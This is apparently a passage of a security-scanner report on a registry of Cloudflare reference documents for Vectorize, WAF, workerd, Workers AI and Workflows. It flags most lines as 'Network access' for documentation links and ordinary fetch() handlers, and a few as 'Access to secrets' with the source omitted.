    | Upload NDJSON and batch ingestion | [Insert vectors](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md) |
  • Network accessline 11
    | Check capacity, payload, namespace, or batch constraints | [Limits](https://developers.cloudflare.com/vectorize/platform/limits/index.md) |
  • Network accessline 19
    Choose metadata granularity around actual queries. For range filters over high-cardinality fields, consider buckets that preserve the application's required precision; do not bucket identifiers used for exact matches. Fetch the [cardinality

packages/autoskills/skills-registry/cloudflare/references/vectorize/gotchas.md

  • Network accessline 5
    | Symptom or decision | What to check | Current documentation | |---------------------|---------------|-----------------------| | A write succeeded but search has not changed | Mutations are asynchronous; acceptance does not guarantee query
  • Network accessline 6
    |---------------------|---------------|-----------------------| | A write succeeded but search has not changed | Mutations are asynchronous; acceptance does not guarantee query visibility | [Insert, upsert, and delete semantics](https://dev
  • Network accessline 7
    | A write succeeded but search has not changed | Mutations are asynchronous; acceptance does not guarantee query visibility | [Insert, upsert, and delete semantics](https://developers.cloudflare.com/vectorize/reference/client-api/index.md#o
  • Network accessline 8
    | Ingestion is slow or a batch is rejected | Batch size depends on the interface; inspect throughput and payload constraints | [Write throughput](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md#improve-wri
  • Network accessline 9
    | Query count is rejected or metadata is incomplete | Returned values and metadata affect query limits; indexed metadata can be truncated | [Query options](https://developers.cloudflare.com/vectorize/reference/client-api/index.md#query-vect
  • Network accessline 10
    | Metadata filters return no matches | Confirm field type, operators, nesting, and index creation; re-upsert data written before the metadata index existed | [Metadata filtering](https://developers.cloudflare.com/vectorize/reference/metadat
  • Network accessline 11
    | Query has no matches or poor relevance | Check embedding model and dimensions, metric, namespace, filters, and mutation visibility | [Query vectors](https://developers.cloudflare.com/vectorize/best-practices/query-vectors/index.md) and [i
  • Network accessline 12
    | Existing IDs or metadata behave unexpectedly on update | Insert preserves existing IDs; upsert replaces the full vector and metadata | [Mutation semantics](https://developers.cloudflare.com/vectorize/reference/client-api/index.md#operatio
  • Network accessline 13
    | Capacity or model output no longer fits | Check current limits and model output dimensions; changing dimensions or metric requires another index | [Limits](https://developers.cloudflare.com/vectorize/platform/limits/index.md) and [create 

packages/autoskills/skills-registry/cloudflare/references/vectorize/patterns.md

  • Network accessline 3
    | Task | Current documentation | |------|-----------------------| | Generate and query Workers AI embeddings | [Vectorize and Workers AI](https://developers.cloudflare.com/vectorize/get-started/embeddings/index.md) |
  • Network accessline 4
    |------|-----------------------| | Generate and query Workers AI embeddings | [Vectorize and Workers AI](https://developers.cloudflare.com/vectorize/get-started/embeddings/index.md) | | Query with embeddings from OpenAI | [OpenAI integratio
  • Network accessline 5
    | Generate and query Workers AI embeddings | [Vectorize and Workers AI](https://developers.cloudflare.com/vectorize/get-started/embeddings/index.md) |
  • Network accessline 6
    | Query with embeddings from OpenAI | [OpenAI integration](https://developers.cloudflare.com/vectorize/best-practices/query-vectors/index.md#openai) |
  • Network accessline 7
    | Choose embedding dimensions and distance metric | [Create indexes](https://developers.cloudflare.com/vectorize/best-practices/create-indexes/index.md) |
  • Network accessline 8
    | Build a retrieval-augmented generation application | [Workers AI RAG tutorial](https://developers.cloudflare.com/workers-ai/guides/tutorials/build-a-retrieval-augmented-generation-ai/index.md) |
  • Network accessline 9
    | Link search results to source documents | [Vector metadata](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md#metadata) |
  • Network accessline 10
    | Partition vectors by tenant | [Namespaces](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md#namespaces) and [namespace versus metadata filtering](https://developers.cloudflare.com/vectorize/reference/meta
  • Network accessline 11
    | Combine similarity search with categorical or range filters | [Metadata filtering](https://developers.cloudflare.com/vectorize/reference/metadata-filtering/index.md) |
  • Network accessline 12
    | Ingest or update vectors in batches | [Insert vectors](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md) and [limits](https://developers.cloudflare.com/vectorize/platform/limits/index.md) |

packages/autoskills/skills-registry/cloudflare/references/waf/README.md

  • Network accessline 5
    | Task | Start here | |------|------------| | Choose and enable WAF protections | [Get started](https://developers.cloudflare.com/waf/get-started/index.md) |
  • Network accessline 6
    |------|------------| | Choose and enable WAF protections | [Get started](https://developers.cloudflare.com/waf/get-started/index.md) | | Deploy managed protection | [Managed rules deployment](https://developers.cloudflare.com/waf/managed-r
  • Network accessline 7
    | Choose and enable WAF protections | [Get started](https://developers.cloudflare.com/waf/get-started/index.md) | | Deploy managed protection | [Managed rules deployment](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.
  • Network accessline 8
    | Deploy managed protection | [Managed rules deployment](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) | | Match application-specific requests | [Custom rules](https://developers.cloudflare.com/waf/custom-rules/cr
  • Network accessline 9
    | Match application-specific requests | [Custom rules](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) |
  • Network accessline 10
    | Limit request volume | [Rate limiting](https://developers.cloudflare.com/waf/rate-limiting-rules/create-api/index.md) | | Understand score-based detection | [Attack score](https://developers.cloudflare.com/waf/detections/attack-score/inde
  • Network accessline 11
    | Understand score-based detection | [Attack score](https://developers.cloudflare.com/waf/detections/attack-score/index.md) |
  • Network accessline 12
    | Diagnose blocked or unmitigated requests | [Managed rules troubleshooting](https://developers.cloudflare.com/waf/managed-rules/troubleshooting/index.md) |

packages/autoskills/skills-registry/cloudflare/references/waf/api.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Inspect the entry point and add custom rules | [Create a custom rule via API](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) |
  • Network accessline 6
    |------|---------------| | Inspect the entry point and add custom rules | [Create a custom rule via API](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) | | Discover managed rulesets and deploy them | [Deploy managed
  • Network accessline 7
    | Inspect the entry point and add custom rules | [Create a custom rule via API](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) |
  • Network accessline 8
    | Discover managed rulesets and deploy them | [Deploy managed rules via API](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) |
  • Network accessline 9
    | Create rate limits with the current request schema | [Create a rate limiting rule via API](https://developers.cloudflare.com/waf/rate-limiting-rules/create-api/index.md) |
  • Network accessline 10
    | Select counting characteristics, expressions, periods, and mitigation behavior | [Rate limiting parameters](https://developers.cloudflare.com/waf/rate-limiting-rules/parameters/index.md) |
  • Network accessline 11
    | Replace a ruleset deliberately or choose an additive operation | [Update or deploy a ruleset](https://developers.cloudflare.com/ruleset-engine/rulesets-api/update/index.md) |
  • Network accessline 12
    | Construct expressions using supported fields, operators, and functions | [Rules language](https://developers.cloudflare.com/ruleset-engine/rules-language/index.md) |
  • Network accessline 13
    | Choose actions and understand terminating behavior | [Actions reference](https://developers.cloudflare.com/ruleset-engine/rules-language/actions/index.md) |
  • Network accessline 14
    | Override managed rules, tags, or a ruleset | [Managed ruleset overrides](https://developers.cloudflare.com/ruleset-engine/managed-rulesets/override-managed-ruleset/index.md) |
  • Network accessline 15
    | Choose exactly what a skip rule bypasses | [Skip options](https://developers.cloudflare.com/waf/custom-rules/skip/options/index.md) |

packages/autoskills/skills-registry/cloudflare/references/waf/configuration.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Enable protections and configure them in the dashboard | [WAF get started](https://developers.cloudflare.com/waf/get-started/index.md) |
  • Network accessline 6
    |------|---------------| | Enable protections and configure them in the dashboard | [WAF get started](https://developers.cloudflare.com/waf/get-started/index.md) | | Configure custom rules through the API or SDK | [Custom rules API workflow
  • Network accessline 7
    | Enable protections and configure them in the dashboard | [WAF get started](https://developers.cloudflare.com/waf/get-started/index.md) |
  • Network accessline 8
    | Configure custom rules through the API or SDK | [Custom rules API workflow](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) |
  • Network accessline 9
    | Configure managed rules through the API or SDK | [Managed rules API workflow](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) |
  • Network accessline 10
    | Configure rate limiting through the API or SDK | [Rate limiting API workflow](https://developers.cloudflare.com/waf/rate-limiting-rules/create-api/index.md) |
  • Network accessline 11
    | Manage custom rules with Terraform | [Custom rules Terraform guide](https://developers.cloudflare.com/terraform/additional-configurations/waf-custom-rules/index.md) |
  • Network accessline 12
    | Manage managed rulesets with Terraform | [Managed rules Terraform guide](https://developers.cloudflare.com/terraform/additional-configurations/waf-managed-rulesets/index.md) |
  • Network accessline 13
    | Manage rate limits with Terraform | [Rate limiting Terraform guide](https://developers.cloudflare.com/terraform/additional-configurations/rate-limiting-rules/index.md) |
  • Network accessline 14
    | Decide account versus zone placement and phase | [WAF phases](https://developers.cloudflare.com/waf/reference/phases/index.md) |

packages/autoskills/skills-registry/cloudflare/references/waf/gotchas.md

  • Network accessline 5
    | Symptom or decision | Documentation to read | |---------------------|-----------------------| | A rule executes earlier or later than expected | [WAF phases and account/zone order](https://developers.cloudflare.com/waf/reference/phases/in
  • Network accessline 6
    |---------------------|-----------------------| | A rule executes earlier or later than expected | [WAF phases and account/zone order](https://developers.cloudflare.com/waf/reference/phases/index.md) and [terminating actions](https://develo
  • Network accessline 7
    | A rule executes earlier or later than expected | [WAF phases and account/zone order](https://developers.cloudflare.com/waf/reference/phases/index.md) and [terminating actions](https://developers.cloudflare.com/ruleset-engine/rules-languag
  • Network accessline 8
    | A skip rule leaves a protection active | [Skip scope, phases, products, and logging](https://developers.cloudflare.com/waf/custom-rules/skip/options/index.md) |
  • Network accessline 9
    | Updating a ruleset removes unrelated rules | [Ruleset replacement semantics](https://developers.cloudflare.com/ruleset-engine/rulesets-api/update/index.md) |
  • Network accessline 10
    | An expression fails to parse | [Rules language elements](https://developers.cloudflare.com/ruleset-engine/rules-language/index.md) |
  • Network accessline 11
    | Score-based rules match unexpected traffic | [Attack score meaning, special values, and plan availability](https://developers.cloudflare.com/waf/detections/attack-score/index.md) |
  • Network accessline 12
    | Managed overrides conflict | [Override precedence and scope](https://developers.cloudflare.com/ruleset-engine/managed-rulesets/override-managed-ruleset/index.md) | | Legitimate traffic is blocked, or attacks reach the origin | [False-posi
  • Network accessline 13
    | Legitimate traffic is blocked, or attacks reach the origin | [False-positive and false-negative investigation](https://developers.cloudflare.com/waf/managed-rules/troubleshooting/index.md) | | Rate limits affect shared-IP users or count u
  • Network accessline 14
    | Rate limits affect shared-IP users or count unexpected requests | [Characteristics, NAT support, and counting expressions](https://developers.cloudflare.com/waf/rate-limiting-rules/parameters/index.md) |
  • Network accessline 15
    | API creation fails or the request body is unclear | [Custom rule creation](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md), [managed deployment](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.

packages/autoskills/skills-registry/cloudflare/references/waf/patterns.md

  • Network accessline 5
    | Outcome | Documentation | |---------|---------------| | Apply managed protection to a zone | [Deploy managed rules](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) |
  • Network accessline 6
    |---------|---------------| | Apply managed protection to a zone | [Deploy managed rules](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) | | Change a managed rule's behavior or evaluate it with logging | [Override 
  • Network accessline 7
    | Apply managed protection to a zone | [Deploy managed rules](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) |
  • Network accessline 8
    | Change a managed rule's behavior or evaluate it with logging | [Override a managed ruleset](https://developers.cloudflare.com/ruleset-engine/managed-rulesets/override-managed-ruleset/index.md) |
  • Network accessline 9
    | Enforce an application-specific request policy | [Create a custom rule](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) | | Use attack detection in a request policy | [Attack score semantics and availability](https
  • Network accessline 10
    | Use attack detection in a request policy | [Attack score semantics and availability](https://developers.cloudflare.com/waf/detections/attack-score/index.md) | | Protect a login or API endpoint from excessive requests | [Rate limiting API 
  • Network accessline 11
    | Protect a login or API endpoint from excessive requests | [Rate limiting API examples](https://developers.cloudflare.com/waf/rate-limiting-rules/create-api/index.md) and [counting parameters](https://developers.cloudflare.com/waf/rate-lim
  • Network accessline 12
    | Exempt narrowly identified traffic from selected protections | [Available skip options](https://developers.cloudflare.com/waf/custom-rules/skip/options/index.md) |
  • Network accessline 13
    | Adjust protection after a false positive | [Managed rules troubleshooting](https://developers.cloudflare.com/waf/managed-rules/troubleshooting/index.md) |
  • Network accessline 15
    For a false positive, identify the matching rule and request scope before choosing an exception or override. Keep the adjustment as narrow as the evidence supports. For combined protections, check [WAF phases](https://developers.cloudflare.

packages/autoskills/skills-registry/cloudflare/references/workerd/README.md

  • Network accessline 75
    ## Related References - [workers](https://developers.cloudflare.com/workers/index.md) - Workers runtime API documentation
  • Network accessline 76
    - [workers](https://developers.cloudflare.com/workers/index.md) - Workers runtime API documentation
  • Network accessline 78
    - [wrangler](https://developers.cloudflare.com/workers/wrangler/index.md) - CLI that uses workerd for local dev

packages/autoskills/skills-registry/cloudflare/references/workerd/api.md

  • Network accessline 7
    export default {   async fetch(request, env, ctx) {
  • Network accessline 8
    async fetch(request, env, ctx) {
  • Network accessline 9
    const value = await env.KV.get("key");           // Bindings in env     const response = await env.API.fetch(request);   // Service binding     ctx.waitUntil(logRequest(request));              // Background task
  • Network accessline 10
    const response = await env.API.fetch(request);   // Service binding
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 37
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 38
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 71
    async fetch(request) {
  • Network accessline 96
    ### Fetch - `fetch()`, `Request`, `Response`, `Headers`
  • Network accessline 97
    - `fetch()`, `Request`, `Response`, `Headers`
  • Network accessline 128
    const response = await fetch('https://example.com');

packages/autoskills/skills-registry/cloudflare/references/workerd/configuration.md

  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 122
    const derived :Workerd.Worker = (   inherit = "base-service",   bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")]
  • Network accessline 123
    inherit = "base-service",   bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")] );
  • Network accessline 124
    bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")]
  • Access to secretsline 150
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare/references/workerd/gotchas.md

  • Network accessline 53
    ### "Worker not responding" **Cause:** Socket misconfigured, no fetch handler, or port unavailable **Solution:** Verify socket `address` matches, worker exports `fetch()`, port available
  • Network accessline 55
    **Solution:** Verify socket `address` matches, worker exports `fetch()`, port available
  • Network accessline 113
    **Problem:** Breaking changes after compat date update **Cause:** New flags enabled between dates **Solution:** Review [compat dates docs](https://developers.cloudflare.com/workers/configuration/compatibility-dates/index.md), test locally f
  • Network accessline 115
    **Solution:** Review [compat dates docs](https://developers.cloudflare.com/workers/configuration/compatibility-dates/index.md), test locally first
  • Network accessline 135
    5. **Check versions**: Workerd version vs compat date 6. **Isolate issue**: Minimal repro config 7. **Review schema**: [workerd.capnp](https://github.com/cloudflare/workerd/blob/main/src/workerd/server/workerd.capnp)
  • Network accessline 137
    7. **Review schema**: [workerd.capnp](https://github.com/cloudflare/workerd/blob/main/src/workerd/server/workerd.capnp)

packages/autoskills/skills-registry/cloudflare/references/workerd/patterns.md

  • Network accessline 44
    const prodWorker :Workerd.Worker = (   inherit = "base-service",   bindings = [(name = "API_URL", text = "https://api.prod.com")]
  • Network accessline 45
    inherit = "base-service",   bindings = [(name = "API_URL", text = "https://api.prod.com")] );
  • Network accessline 46
    bindings = [(name = "API_URL", text = "https://api.prod.com")]
  • Network accessline 164
    export default {   async fetch(request, env, ctx) {
  • Network accessline 165
    async fetch(request, env, ctx) {
  • Network accessline 178
    export default {   async fetch(request, env, ctx) {
  • Network accessline 179
    async fetch(request, env, ctx) {

packages/autoskills/skills-registry/cloudflare/references/workers-ai/README.md

  • Network accessline 7
    Start with the [model catalog](https://developers.cloudflare.com/workers-ai/models/index.md) and open the selected model's page for its exact identifier, input/output schema, context window, and supported features. Compare candidates on the
  • Network accessline 18
    If a topic is missing, use the [Workers AI documentation index](https://developers.cloudflare.com/workers-ai/llms.txt) to find its current page.
  • Network accessline 22
    - [Vectorize](../vectorize/): vector storage and retrieval. - [AI Gateway](../ai-gateway/): inference analytics, caching, and request controls. - [Workers](https://developers.cloudflare.com/workers/index.md): runtime and application hosting
  • Network accessline 24
    - [Workers](https://developers.cloudflare.com/workers/index.md): runtime and application hosting.

packages/autoskills/skills-registry/cloudflare/references/workers-ai/api.md

  • Network accessline 3
    Fetch the selected model's page from the [model catalog](https://developers.cloudflare.com/workers-ai/models/index.md) for request fields, output format, dimensions, and examples. Text, embeddings, images, audio, and translation do not shar
  • Network accessline 5
    | Task | Documentation | |------|---------------| | Invoke inference through a Worker binding | [Workers bindings](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) |
  • Network accessline 6
    |------|---------------| | Invoke inference through a Worker binding | [Workers bindings](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) | | Invoke inference over HTTP | [REST API reference](https://developers
  • Network accessline 7
    | Invoke inference through a Worker binding | [Workers bindings](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) |
  • Network accessline 8
    | Invoke inference over HTTP | [REST API reference](https://developers.cloudflare.com/api/resources/ai/methods/run/index.md) |
  • Network accessline 9
    | Stream text or use SDK abstractions | [Vercel AI SDK](https://developers.cloudflare.com/workers-ai/configuration/ai-sdk/index.md), or the selected model's streaming example |
  • Network accessline 10
    | Define tools and handle tool results | [Function calling](https://developers.cloudflare.com/workers-ai/features/function-calling/index.md) |
  • Network accessline 11
    | Request structured output | [JSON mode](https://developers.cloudflare.com/workers-ai/features/json-mode/index.md) |

packages/autoskills/skills-registry/cloudflare/references/workers-ai/configuration.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Create and develop a Worker with Workers AI | [Workers and Wrangler setup](https://developers.cloudflare.com/workers-ai/get-started/workers-wrangler/index.md) |
  • Network accessline 6
    |------|---------------| | Create and develop a Worker with Workers AI | [Workers and Wrangler setup](https://developers.cloudflare.com/workers-ai/get-started/workers-wrangler/index.md) | | Add an AI binding to an existing Worker | [Workers
  • Network accessline 7
    | Create and develop a Worker with Workers AI | [Workers and Wrangler setup](https://developers.cloudflare.com/workers-ai/get-started/workers-wrangler/index.md) |
  • Network accessline 8
    | Add an AI binding to an existing Worker | [Workers bindings](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) |
  • Network accessline 9
    | Generate environment and runtime types | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) |
  • Network accessline 10
    | Call inference from outside Workers | [REST API setup and authentication](https://developers.cloudflare.com/workers-ai/get-started/rest-api/index.md) |
  • Network accessline 11
    | Use the Vercel AI SDK | [AI SDK integration](https://developers.cloudflare.com/workers-ai/configuration/ai-sdk/index.md) |
  • Network accessline 12
    | Adapt an existing OpenAI SDK client | [OpenAI compatible endpoints](https://developers.cloudflare.com/workers-ai/configuration/open-ai-compatibility/index.md) |

packages/autoskills/skills-registry/cloudflare/references/workers-ai/gotchas.md

  • Network accessline 5
    | Symptom or decision | Documentation and checks | |---------------------|--------------------------| | Missing binding or types | [Binding configuration](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) and [Wo
  • Network accessline 6
    |---------------------|--------------------------| | Missing binding or types | [Binding configuration](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) and [Workers TypeScript](https://developers.cloudflare.com
  • Network accessline 7
    | Missing binding or types | [Binding configuration](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) and [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md); check the 
  • Network accessline 8
    | Development inference fails | [Workers and Wrangler setup](https://developers.cloudflare.com/workers-ai/get-started/workers-wrangler/index.md); check account access and binding setup |
  • Network accessline 9
    | Unknown model, invalid input, or unexpected response | Open the exact model in the [catalog](https://developers.cloudflare.com/workers-ai/models/index.md); check its schema, context window, and feature support |
  • Network accessline 10
    | Inference error or retry decision | [Error codes and HTTP statuses](https://developers.cloudflare.com/workers-ai/platform/errors/index.md) |
  • Network accessline 11
    | Throttling or concurrency planning | [Current limits](https://developers.cloudflare.com/workers-ai/platform/limits/index.md) |
  • Network accessline 12
    | Usage or cost estimate | [Current pricing](https://developers.cloudflare.com/workers-ai/platform/pricing/index.md); use the selected model's billing units and expected workload |
  • Network accessline 13
    | Old SDK examples fail | [Native binding](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md), [AI SDK](https://developers.cloudflare.com/workers-ai/configuration/ai-sdk/index.md), or [OpenAI compatibility](https:

packages/autoskills/skills-registry/cloudflare/references/workers-ai/patterns.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Build retrieval with Workers AI, Vectorize, and document storage | [RAG tutorial](https://developers.cloudflare.com/workers-ai/guides/tutorials/build-a-retrieval-augmented-generation-ai/in
  • Network accessline 6
    |------|---------------| | Build retrieval with Workers AI, Vectorize, and document storage | [RAG tutorial](https://developers.cloudflare.com/workers-ai/guides/tutorials/build-a-retrieval-augmented-generation-ai/index.md) | | Stream respon
  • Network accessline 7
    | Build retrieval with Workers AI, Vectorize, and document storage | [RAG tutorial](https://developers.cloudflare.com/workers-ai/guides/tutorials/build-a-retrieval-augmented-generation-ai/index.md) |
  • Network accessline 8
    | Stream responses or integrate tool calling in an SDK application | [AI SDK integration](https://developers.cloudflare.com/workers-ai/configuration/ai-sdk/index.md) |
  • Network accessline 9
    | Constrain generated JSON | [JSON mode](https://developers.cloudflare.com/workers-ai/features/json-mode/index.md) |
  • Network accessline 10
    | Add caching, retries, or model fallbacks | [Caching](https://developers.cloudflare.com/ai-gateway/features/caching/index.md), [request handling](https://developers.cloudflare.com/ai-gateway/configuration/request-handling/index.md), and [d

packages/autoskills/skills-registry/cloudflare/references/workflows/README.md

  • Network accessline 7
    - **Start a project:** [Build your first Workflow](https://developers.cloudflare.com/workflows/get-started/guide/index.md) covers scaffolding, configuration, deployment, and a first instance.
  • Network accessline 8
    - **Design durable execution:** [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md) covers step boundaries, replay, state, and idempotency. - **Implement or manage an instance:** [Workers API]
  • Network accessline 9
    - **Implement or manage an instance:** [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) covers steps, instance operations, parameters, and return types.
  • Network accessline 10
    - **Check capacity and cost:** fetch [limits](https://developers.cloudflare.com/workflows/reference/limits/index.md) and [pricing](https://developers.cloudflare.com/workflows/reference/pricing/index.md) for the target plan.
  • Network accessline 21
    - [Durable Objects](https://developers.cloudflare.com/durable-objects/index.md) — stateful coordination
  • Network accessline 23
    - [Workers](https://developers.cloudflare.com/workers/index.md) — application entry points that trigger instances

packages/autoskills/skills-registry/cloudflare/references/workflows/api.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Implement steps; create, batch, inspect, pause, resume, restart, or terminate instances; check parameter and return types | [Workers API](https://developers.cloudflare.com/workflows/build/workers-api
  • Network accessline 6
    | --- | --- | | Implement steps; create, batch, inspect, pause, resume, restart, or terminate instances; check parameter and return types | [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) | | Access a s
  • Network accessline 7
    | Implement steps; create, batch, inspect, pause, resume, restart, or terminate instances; check parameter and return types | [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) |
  • Network accessline 8
    | Access a step's name, occurrence, retry attempt, and resolved configuration | [Step context](https://developers.cloudflare.com/workflows/build/step-context/index.md) |
  • Network accessline 9
    | Configure retries, backoff, timeouts, non-retryable failures, or relative/absolute sleeps | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) |
  • Network accessline 10
    | Pass initial parameters, wait for an external event, or send an event to an instance | [Events and parameters](https://developers.cloudflare.com/workflows/build/events-and-parameters/index.md) |
  • Network accessline 11
    | Start instances from a Worker or another Workflow, or schedule execution | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) |
  • Network accessline 12
    | Trigger and manage instances from the command line | [Wrangler commands](https://developers.cloudflare.com/workflows/reference/wrangler-commands/index.md) |
  • Network accessline 13
    | Manage Workflows over HTTP, including authentication and request bodies | [Workflows REST API](https://developers.cloudflare.com/api/resources/workflows/methods/list/index.md) |

packages/autoskills/skills-registry/cloudflare/references/workflows/configuration.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Scaffold and deploy a Workflow class with its binding | [Build your first Workflow](https://developers.cloudflare.com/workflows/get-started/guide/index.md) |
  • Network accessline 6
    | --- | --- | | Scaffold and deploy a Workflow class with its binding | [Build your first Workflow](https://developers.cloudflare.com/workflows/get-started/guide/index.md) | | Configure one or more Workflows, including a binding to a Workfl
  • Network accessline 7
    | Scaffold and deploy a Workflow class with its binding | [Build your first Workflow](https://developers.cloudflare.com/workflows/get-started/guide/index.md) |
  • Network accessline 8
    | Configure one or more Workflows, including a binding to a Workflow in another Worker | [Wrangler Workflows configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#workflows) |
  • Network accessline 9
    | Configure storage, AI, and other resources used by steps | [Workers bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) |
  • Network accessline 10
    | Choose step retry, backoff, timeout, and sleep behavior | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) |
  • Network accessline 11
    | Schedule instances or trigger them from another Worker | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) |
  • Network accessline 12
    | Trigger a Workflow from Pages Functions | [Call Workflows from Pages](https://developers.cloudflare.com/workflows/build/call-workflows-from-pages/index.md) |
  • Network accessline 13
    | Develop and inspect instances locally | [Local development](https://developers.cloudflare.com/workflows/build/local-development/index.md) |
  • Network accessline 14
    | Set resource budgets and inspect execution | [Limits](https://developers.cloudflare.com/workflows/reference/limits/index.md) and [metrics and analytics](https://developers.cloudflare.com/workflows/observability/metrics-analytics/index.md)

packages/autoskills/skills-registry/cloudflare/references/workflows/gotchas.md

  • Network accessline 5
    | Symptom or question | What to check | | --- | --- | | Step timeout or repeated failure | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) for per-attempt timeout, retry policy, and 
  • Network accessline 6
    | --- | --- | | Step timeout or repeated failure | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) for per-attempt timeout, retry policy, and non-retryable failures | | CPU exhaustio
  • Network accessline 7
    | Step timeout or repeated failure | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) for per-attempt timeout, retry policy, and non-retryable failures |
  • Network accessline 8
    | CPU exhaustion despite a short run | [Limits](https://developers.cloudflare.com/workflows/reference/limits/index.md) for active CPU budgets; increasing an elapsed-time timeout does not increase CPU capacity |
  • Network accessline 9
    | Missing event or event timeout | [Events and parameters](https://developers.cloudflare.com/workflows/build/events-and-parameters/index.md) for instance targeting, event type/payload requirements, and timeout handling |
  • Network accessline 10
    | State disappears or branches change after resuming | [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md) for persisted step returns, deterministic names and conditionals, and awaited operati
  • Network accessline 11
    | Duplicate charge, write, or notification | Review the destination's idempotency guarantees and [step design](./patterns.md#design-decisions); retries can repeat an external operation even when its previous attempt committed | | Instance I
  • Network accessline 12
    | Instance ID collision or unexpected batch result | [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) for creation semantics, plus [limits](https://developers.cloudflare.com/workflows/reference/limits/in
  • Network accessline 13
    | Oversized results, queued instances, or missing historical data | [Limits](https://developers.cloudflare.com/workflows/reference/limits/index.md) for return/event sizes, concurrency, creation rates, and retention; export required long-ter
  • Network accessline 14
    | Local-only failure or failing introspection test | [Local development](https://developers.cloudflare.com/workflows/build/local-development/index.md) and [Workflow test APIs](https://developers.cloudflare.com/workers/testing/vitest-integra
  • Network accessline 15
    | Inspect execution and cost | [Metrics and analytics](https://developers.cloudflare.com/workflows/observability/metrics-analytics/index.md), [Wrangler commands](https://developers.cloudflare.com/workflows/reference/wrangler-commands/index.

packages/autoskills/skills-registry/cloudflare/references/workflows/patterns.md

  • Network accessline 5
    Read [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md) before choosing step boundaries or concurrency patterns.
  • Network accessline 15
    | Task | Documentation | | --- | --- | | Process images with human approval; handle approval events and timeouts | [Human-in-the-loop image tagging](https://developers.cloudflare.com/workflows/examples/wait-for-event/index.md) |
  • Network accessline 16
    | --- | --- | | Process images with human approval; handle approval events and timeouts | [Human-in-the-loop image tagging](https://developers.cloudflare.com/workflows/examples/wait-for-event/index.md) | | Implement a payment and notificati
  • Network accessline 17
    | Process images with human approval; handle approval events and timeouts | [Human-in-the-loop image tagging](https://developers.cloudflare.com/workflows/examples/wait-for-event/index.md) |
  • Network accessline 18
    | Implement a payment and notification sequence | [Pay cart and send invoice](https://developers.cloudflare.com/workflows/examples/send-invoices/index.md) |
  • Network accessline 19
    | Export data to object storage | [Export and save D1 database](https://developers.cloudflare.com/workflows/examples/backup-d1/index.md) |
  • Network accessline 20
    | Delay lifecycle follow-ups or retry transient failures | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) |
  • Network accessline 21
    | Schedule jobs or start child Workflows | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) |
  • Network accessline 22
    | Design parallel work, races, conditional steps, and batch creation | [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md) |
  • Network accessline 26
